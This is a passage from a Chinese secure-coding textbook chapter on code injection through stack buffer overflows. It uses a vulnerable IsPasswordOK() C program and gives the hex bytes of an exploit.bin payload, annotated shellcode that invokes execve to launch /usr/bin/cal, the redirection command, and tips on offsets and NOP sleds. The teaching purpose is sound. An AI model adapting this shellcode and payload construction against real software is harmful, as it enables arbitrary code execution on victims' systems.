
2.3.7 代码注入
如果由于一个软件缺陷导致(函数的)返回地址被覆写,那么被覆写后的地址很少会指向有效的指令。结果,将控制转移到该地址通常会引发异常并导致栈混乱。然而,攻击者也有可能蓄意构造出一个字符串,其中包含一个指向某些恶意代码的指针,该代码也由攻击者提供。当子例程返回时,控制就被转移到了那段(恶意的)代码。这样,恶意代码就会以与具有该漏洞的程序相同的权限运行。这也是为什么攻击者通常都以“以root或其他较高权限运行”的程序为目标的原因。恶意代码可以执行以其他任何形式编程所能执行的功能,不过它们通常只是简单地在受害机器上开一个远程shell。鉴于此,被注入的恶意代码通常也称为外壳代码(shellcode)。
任何漏洞利用的主要部分都是恶意参数。一个恶意的参数必须具有如下几个特征:
·有漏洞的程序必须接受它作为合法的输入。
·参数,以及其他可控制的输入,必须导致有漏洞的代码路径得到执行。
·参数不能在程序将控制权转移到shellcode之前导致程序异常中止。
因为调用gets()引起的缓冲区溢出使得IsPasswordOK()程序也可以被利用,来执行任意代码。gets()函数还具有一个有趣的属性,它从stdin指向的输入流读入字符,直到读到文件结束符或换行符为止。所有换行符都被丢弃,并立即在读入到数组的最后一个字符后写入一个空字符。因此,如果输入被重定向到一个文件,那么gets()返回的字符串中间有可能嵌入空字符。请注意gets()函数在C99中被废弃并在C11标准中被去掉(因为兼容性原因,大多数实现似乎都继续保留gets())。然而,fgets()函数读入的数据也可能包含空字符。《C安全编码标准》[Seacord 2008],“FIO37-C.不要假设fgets()在成功执行时返回非空字符串”深入地说明了这个问题。
这一次,我们在Linux上使用GCC编译IsPasswordOK()程序。恶意参数可以借助下面重定向的方式以二进制数据文件的形式注入到程序中:
% ./BufferOverFlow < exploit.bin
当利用代码被注入IsPasswordOK()程序时,程序栈被覆写成下列形式:
01 /* buf[12] */ 02 00 00 00 00 03 00 00 00 00 04 00 00 00 00 05 06 /* %ebp */ 07 00 00 00 00 08 09 /* 返回地址 */ 10 78 fd ff bf 11 12 /* "/usr/bin/cal" */ 13 2f 75 73 72 14 2f 62 69 6e 15 2f 63 61 6c 16 00 00 00 00 17 18 /* 空指针 */ 19 74 fd ff bf 20 21 /* NULL */ 22 00 00 00 00 23 24 /* 利用代码 */ 25 b0 0b /* mov $0xb, %eax */ 26 8d 1c 24 /* lea (%esp), %ebx */ 27 8d 4c 24 f0 /* lea -0x10(%esp), %ecx */ 28 8b 54 24 ec /* mov -0x14(%esp), %edx */ 29 cd 50 /* int $0x50 */
本例中使用的lea指令表示“装载有效地址”(load effective address),lea指令计算第二个操作数(源操作数)的有效地址,并将它存入第一个操作数(目标操作数)。源操作数是用处理器的一种寻址模式指定的一个内存地址(偏移部分),目标操作数是一个通用寄存器。该漏洞利用代码的工作原理如下所示。
1.第一个mov指令把0xB赋值给%eax寄存器。0xB是系统调用号,在Linux中,代表execve()系统调用。
2.execve()函数调用所必需的3个参数在子序列中被依次设置为3条指令(两个lea指令和mov指令)。这些参数的值位于栈中,正好在漏洞利用代码之前。
3.int $0x50指令用于执行execve()系统调用,导致Linux的calendar程序被执行,如图2.15所示。
图2.15 Linux calendar程序
缓冲区溢出不影响fgets()调用,但影响strcpy()调用,如下面的IsPasswordOK()程序修订版所示:
01 char buffer[128]; 02 03 _Bool IsPasswordOK(void) { 04 char Password[12]; 05 06 fgets(buffer, sizeof buffer, stdin); 07 if (buffer[ strlen(buffer) - 1] == '\n') 08 buffer[ strlen(buffer) - 1] = 0; 09 strcpy(Password, buffer); 10 return 0 == strcmp(Password, "goodpass"); 11 } 12 13 int main(void) { 14 _Bool PwStatus; 15 16 puts("Enter password:"); 17 PwStatus = IsPasswordOK(); 18 if (!PwStatus) { 19 puts("Access denied"); 20 exit(-1); 21 } 22 else 23 puts("Access granted"); 24 return 0; 25 }
因为strcpy()函数只复制源字符串(保存在缓冲区中),所以Password数组不可能包含内部空字符。因此,对它的利用更加困难,因为攻击者必须人工制造任何所需的空字节。
本例中的恶意参数在二进制文件exploit.bin中的内容如下所示。
000: 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 1234567890123456 010: 37 38 39 30 31 32 33 34 04 fc ff bf 78 78 78 78 78901234....xxxx 020: 31 c0 a3 23 fc ff bf b0 0b bb 27 fc ff bf b9 1f 1..#......'..... 030: fc ff bf 8b 15 23 fc ff bf cd 80 ff f9 ff bf 31 .....#.....'...1 040: 31 31 31 2f 75 73 72 2f 62 69 6e 2f 63 61 6c 0a 111/usr/bin/cal.
这个恶意参数可以通过重定向提供给被利用的程序,如下所示:
%./BufferOverflow < exploit.bin
当strcpy()函数返回时,栈被覆写为如表2.3所示。
表2.3 因调用strcpy()而损坏的栈
这个利用代码的工作原理如下所示。
1.二进制数据最开始的16个字节(第1行)填入为密码所分配的存储空间中。尽管程序中只为密码分配了12个字节的空间,但用以编译程序的GCC版本在栈上为其分配了16个字节的倍数。
2.接下来的12个字节的二进制数据(第2行)填充了编译器为保持栈按16字节边界对齐而多分配的12个字节。由于已经分配4字节的函数调用返回地址,因此在这里编译器只分配12个字节。
3.返回地址被覆盖(第3行),使得程序执行IsPasswordOK()函数中的return语句返回后可以继续执行(第4行)。这就导致了栈中保存的代码被执行(第4~10行)。
4.建立一个0值并且用其作为空终止符结束参数列表(第4行和第5行)。因为利用漏洞的过程中,传递给系统调用的参数中必须包含一个以空指针结尾的字符指针列表。由于利用数据中间不能直接包含空字符,因此利用代码必须创建一个空指针。
5.系统调用号被设为0xB,在Linux中,这代表execve()系统调用(第6行)。
6.execve()函数调用必需的3个参数被依次设置(第7~9行)。
7.这些参数的值位于第12~13行中。
8.执行execve()系统调用,导致Linux的calendar程序被执行(第10行)。
对代码的逆向工程可以确定在栈帧中从缓冲区到返回地址的精确偏移量,这就允许对注入的外壳代码进行定位。然而,有时并不需要如此苛刻的条件[Aleph 1996]。例如,返回地址的位置可以通过在一个近似的返回地址范围内进行多次试验而得到。假设程序运行在32位架构的机器上,那么返回地址通常都是4字节对齐的。即使返回地址有一定的偏移,也只有4个可能的不同结果。也可以通过在外壳代码前面加入多个nop指令来估计其位置(常称为nop橇)。利用代码仅需要跳转到nop指令域中的某处,就可以执行外壳代码了。
大部分现实的栈溢出攻击都以这种形式发生,即覆盖返回地址,将控制权转移到注入的代码。那种简单地将返回地址修改跳转到代码中其他位置的方式并不常用,部分原因是这些漏洞难以发现(这需要找到可以绕过检查的程序逻辑),并且对攻击者而言用处也不大(因为只能获得对程序本身的控制权而不是执行任意的代码)。